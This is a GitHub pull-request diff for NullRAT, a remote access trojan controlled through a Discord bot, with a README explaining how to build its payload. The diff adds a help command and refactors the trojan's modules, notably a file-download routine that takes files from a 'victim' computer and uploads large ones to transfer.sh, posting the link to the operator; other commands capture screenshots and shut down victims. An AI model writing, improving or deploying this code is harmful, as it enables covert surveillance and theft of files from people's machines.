Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
25 changes: 19 additions & 6 deletions NullRAT/RAT.py
Original file line number Diff line number Diff line change
Expand Up @@ -144,7 +144,7 @@ async def shutdown(ctx, victim):
----------
victim: Identifier of the affected computer (found via /listvictims)
"""
if valid(victim):
if ctx.bot.valid(victim):
await ctx.response.send_message(
embed=client.genEmbed(
"Shutting down NullRAT for **" + rererere + "**...",
Expand All @@ -160,6 +160,23 @@ async def shutdown_all(ctx):
await ctx.response.send_message("Are you sure?", view=closeall_confirm())


@client.slash_command(name="help")
async def help_command(ctx):
"""Displays all available commands and their descriptions"""

embed = client.genEmbed("Available commands", datetime.now())
for cmd in sorted(ctx.bot.slash_commands.values(), key=lambda c: c.name):
if cmd.name == "help":
continue
embed.add_field(
name=f"/{cmd.name}",
value=cmd.description or "No description provided.",
inline=False,
)

await ctx.response.send_message(embed=embed)


# > shutdown class


Expand Down Expand Up @@ -217,11 +234,7 @@ async def second_button_callback(self, button, interaction):
)

for ex in extensions:
## For debugging
# client.load_extension("modules."+ex)

## For production
client.load_extension(ex)
client.load_extension(f"modules.{ex}")


# > <start>
Expand Down
1 change: 1 addition & 0 deletions NullRAT/modules/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
"""Module package for NullRAT extensions."""
69 changes: 49 additions & 20 deletions NullRAT/modules/receiveFile.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,8 +25,8 @@ async def file_download(self, ctx, victim, file_path):
if '"' in file_path:
file_path = file_path.replace('"', "")
try:
f = open(file_path, "rb")
except: # noqa: E722
file_size = os.path.getsize(file_path)
except OSError:
return await ctx.followup.send(
embed=self.bot.genEmbed(
"File was not found!",
Expand All @@ -35,28 +35,57 @@ async def file_download(self, ctx, victim, file_path):
)
)

if os.path.getsize(file_path) < 8388608:
return await ctx.followup.send(
embed=self.bot.genEmbed(
"Received file from victim", datetime.now()
),
file=discord.File(file_path),
)
if file_size < 8388608:
try:
with open(file_path, "rb") as f:
return await ctx.followup.send(
embed=self.bot.genEmbed(
"Received file from victim", datetime.now()
),
file=discord.File(
f, os.path.basename(file_path)
),
)
except OSError:
return await ctx.followup.send(
embed=self.bot.genEmbed(
"File was not found!",
datetime.now(),
"Please specify a different path and try again",
)
)

file = {"{}".format(file_path): f}
response = requests.post("https://transfer.sh/", files=file)
download_link = response.content.decode("utf-8")
deletion_token = response.headers.get("X-Url-Delete")
try:
with open(file_path, "rb") as f:
file = {"{}".format(file_path): f}
response = requests.post(
"https://transfer.sh/", files=file
)
download_link = response.content.decode("utf-8")
deletion_token = response.headers.get("X-Url-Delete")

deletion_token = deletion_token.replace(download_link.rstrip() + "/", "")
deletion_token = deletion_token.replace(
download_link.rstrip() + "/", ""
)

await ctx.followup.send(
embed=self.bot.genEmbed(
"Received file from victim",
datetime.now(),
"Link:\n" + download_link + "\nDeletion token:\n" + deletion_token,
await ctx.followup.send(
embed=self.bot.genEmbed(
"Received file from victim",
datetime.now(),
"Link:\n"
+ download_link
+ "\nDeletion token:\n"
+ deletion_token,
)
)
except OSError:
await ctx.followup.send(
embed=self.bot.genEmbed(
"File was not found!",
datetime.now(),
"Please specify a different path and try again",
)
)
)


def setup(bot: commands.Bot):
Expand Down
2 changes: 1 addition & 1 deletion NullRAT/modules/screenshot.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ def __init__(self, bot: commands.Bot):

@commands.slash_command()
async def get_screenshot(self, ctx, victim):
"""Sends screenshot of entire monitor
"""Sends screenshot of the primary monitor

Parameters
----------
Expand Down
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -87,13 +87,13 @@

#### Preparation:

- Create a Discord Bot and [get it's token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token)
- Create a Discord Bot and [get its token](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#discord-bot-token)
- [Create a bot invite link](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#proper-bot-invite-link) and add it to your server
- Store the [Notification ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#channel-id) and [Server ID](https://github.com/NullCode1337/NullRAT/blob/source/Getting%20Variables.md#server-ids) along with the token for ease of access

#### Steps:

1. Dowload the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported]
1. Download the latest release of NullRAT (recommended) [**git clone**/**download zip** are no longer supported]
2. Run the Compiler and follow the prompts. NullRAT payload will be right there!

- **Video tutorial:** Soon
Expand Down